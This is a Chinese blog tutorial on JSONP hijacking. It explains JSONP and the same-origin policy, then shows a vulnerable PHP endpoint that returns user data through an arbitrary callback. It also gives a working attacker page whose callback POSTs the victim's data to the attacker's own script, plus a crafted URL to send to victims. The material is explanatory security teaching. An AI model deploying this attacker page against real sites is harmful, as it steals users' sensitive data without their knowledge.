码迷,mamicode.com
首页 > Web开发 > 详细

JSONP 劫持漏洞

时间:2019-12-23 01:01:33      阅读:159      评论:0      收藏:0      [点我收藏+]

标签:code   request   func   html   temp   aaa   java   安全策略   data   

0x01 Jsonp简介:

Jsonp(JSON with Padding) 是 json 的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据。

为什么我们从不同的域(网站)访问数据需要一个特殊的技术(JSONP )呢?这是因为同源策略。

同源策略,它是由Netscape提出的一个著名的安全策略,现在所有支持JavaScript 的浏览器都会使用这个策略。


0x02 JSONP劫持漏洞实例

服务端getUser.php

<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
//json数据
//$json_data = '["id","user"]';
$json_data='({"id":"1","name":"Aaron"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>

攻击者

<?php

$url = $_GET['url'] ? $_GET['url'] : "http://www.aaa.com";
$callback = $_GET['c'] ? $_GET['c'] : "json";

$url = htmlspecialchars(addslashes($url));
$callback = htmlspecialchars(addslashes($callback));

$script = '<script src="https://www.chinacycc.com/template/js/jquery-2.2.4.min.js"></script>

<script>

function ccc(a){
    var info = JSON.stringify(a)
    $.post("./get.php", {
       info: info,
    },);
}

</script>

<script src="'. $url .'?'.$callback .'=ccc"></script>';
echo $script;

?>

攻击者构造了一个payload:

http://攻击者/jsonp/index.php?c=服务端的回调参数&url=http://服务端/getUser.php

然后将这个发送给受害者,当受害者一点击了,攻击者就能获取受害者相应的敏感信息

技术图片

JSONP 劫持漏洞

标签:code   request   func   html   temp   aaa   java   安全策略   data   

原文地址:https://www.cnblogs.com/zpchcbd/p/12081659.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!